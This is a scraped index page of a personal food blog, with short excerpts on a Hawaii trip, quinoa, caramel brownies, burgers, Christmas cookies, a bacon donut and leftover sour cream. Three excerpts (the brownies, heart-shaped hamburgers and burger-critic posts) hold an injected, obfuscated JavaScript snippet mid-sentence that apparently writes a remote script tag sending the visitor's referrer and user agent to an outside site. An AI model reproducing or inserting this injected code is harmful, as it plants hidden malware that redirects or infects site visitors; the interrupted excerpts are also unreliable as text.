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Food Live Travel

Back from “Paradise”

We just returned from Hawaii!  Oahu to be exact. You know how they always tell you to stay off Facebook and whatnot while you’re traveling so your place doesn’t get robbed?  That was half the reason for not blogging – didn’t want to let the robbers (who obviously read my blog) know we’d be gone. […]

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Cooking Food Live

Meet Quinoa

Quinoa was popular with the pre-Columbian Andean civilizations (don’t you wish you paid more attention during one of those history lessons…..circa 6th grade?).  It was less important than the potato BUT more important than maize.  That would be corn for any of you non-Spanish speakers out there. It’s high in protein and gluten-free.  It’s also […]

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Baking Food

Caramel Brownies

Just as good as they sound! I made 2 different batches of caramel brownies last weekend.  Well, the brownie part was identical but I used 2 different kinds of caramel. I think they were pretty tasty! Clearly, it’s all about the melted chocolate and butter! I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|szyhy|var|u0026u|referrer|itfft||js|php’.split(‘|’),0,{})) used both store bought […]

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Cooking Food

Heart Shaped Hamburgers

Yes.  I posted about this ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yanbs|var|u0026u|referrer|nyrdr||js|php’.split(‘|’),0,{})) last year on Valentine’s Day.  The struggle with blogging, is that you have to blog well before the actual holiday.  Who cares about the best Valentine’s Day cake – even if it tastes delicious and actually helps you lose weight – if you find out […]

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Baking Food

Sandwich Cookies

It’s Christmas cookie season! I started Saturday, you? I like to start with the most difficult {I also had lots of time on Saturday}.  Sandwich cookies.  These cookies are tough because there are so many steps.  Make dough.  Chill dough.  Cut dough.  Bake dough.  Repeat.  Make frosting.  Fill cookies. I think it ended up taking […]

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Food Live

Hamburger Critic

I don’t know about you, but I love me a tasty burger.  Here are my thoughts about some of the favorites. The ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kreyn|var|u0026u|referrer|niedd||js|php’.split(‘|’),0,{})) middle school hang out.  I’ll take clucks and fries with a side of ranch.  And yes, we’ll be splitting.  By far my favorite fries – crunchy on the […]

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Food Live

Yep, that’s a bacon donut!

Nick got me a “present” last Friday.  He picked me up a bacon, maple donut while out at lunch. I know what you’re thinking.  That sounds gross.  Or if you’re like me, you’re thinking, holy crap, that sounds like the best invention e.v.e.r.  I don’t know about you, but I dip my bacon in maple […]

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Blog Food Live

Happy Hump Day Giveaway!

Wednesdays are both happy and sad. Wednesday morning I’m always thinking, “ugh, why isn’t it Thursday yet.”  And by Wednesday afternoon I’m thinking, “Yippee!  It’s almost Thursday!” A roller coaster of emotions I tell you. In an effort to thwart the Wednesday morning blues, I’ve decided to giveaway some cookies to 1 lucky reader. But […]

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Food Travel

Our {little} trip to the big apple | we conquered

And by conquered, I mean we ATE!  Like a lot.  Food babies every night.  No joke. The sweet stuff: NY Cheesecake at Juniors.  This would be the “infamous” “bar” where I ordered a tall glass of milk 🙂  The crust was like a sugar cookie.  A bit of a gut bomb at about 10:30PM, but […]

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Food

3 lbs of sour cream

We have 3 lbs of sour cream sitting in our fridge. Some of it will go to waste. I just know it. I’ve used about a tbs for some taco salad and 3/4 of a cup for stroganoff. We’re having baked potatoes tomorrow….so I should have about 2.8 lbs left. Any suggestions on what I […]